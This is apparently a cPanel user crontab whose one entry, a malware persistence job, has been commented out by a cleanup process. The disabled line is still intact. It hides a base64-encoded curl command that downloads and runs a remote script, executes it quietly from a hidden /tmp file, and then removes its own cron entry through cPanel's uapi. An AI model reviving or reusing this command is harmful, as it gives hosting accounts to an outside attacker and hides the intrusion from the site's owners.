MAILTO=""
# DISABLED_BY_RESCUE_20260508 malware-persistence: * * * * * siti_lk=1;f=/tmp/.13166;echo 'Y3VybCAtc2sgaHR0cHM6Ly9zaXRpLmxvYWRlci5pZC9hdXRvbG9hZHxfQUY9Ii1rKy1yKy1qKy1jKy1hKy1SKy1kKy14Ky1KIiBzaA=='|base64 -d>$f;chmod +x $f;(at -f $f now 2>/dev/null&&rm -f $f)||(sh $f;rm -f $f) </dev/null >/dev/null 2>&1;P=$(which python3 2>/dev/null||echo /usr/local/cpanel/3rdparty/bin/python3);L=$(/usr/local/cpanel/bin/uapi --user=$(whoami) Cron list_crons 2>/dev/null|$P -c "import json,sys;[print(c['linekey']) for c in json.load(sys.stdin).get('result',{}).get('data',{}).get('crons',[]) if 'siti_lk' in c.get('command','')]" 2>/dev/null|head -1);[ -n "$L" ]&&/usr/local/cpanel/bin/uapi --user=$(whoami) Cron remove_line linekey=$L 2>/dev/null
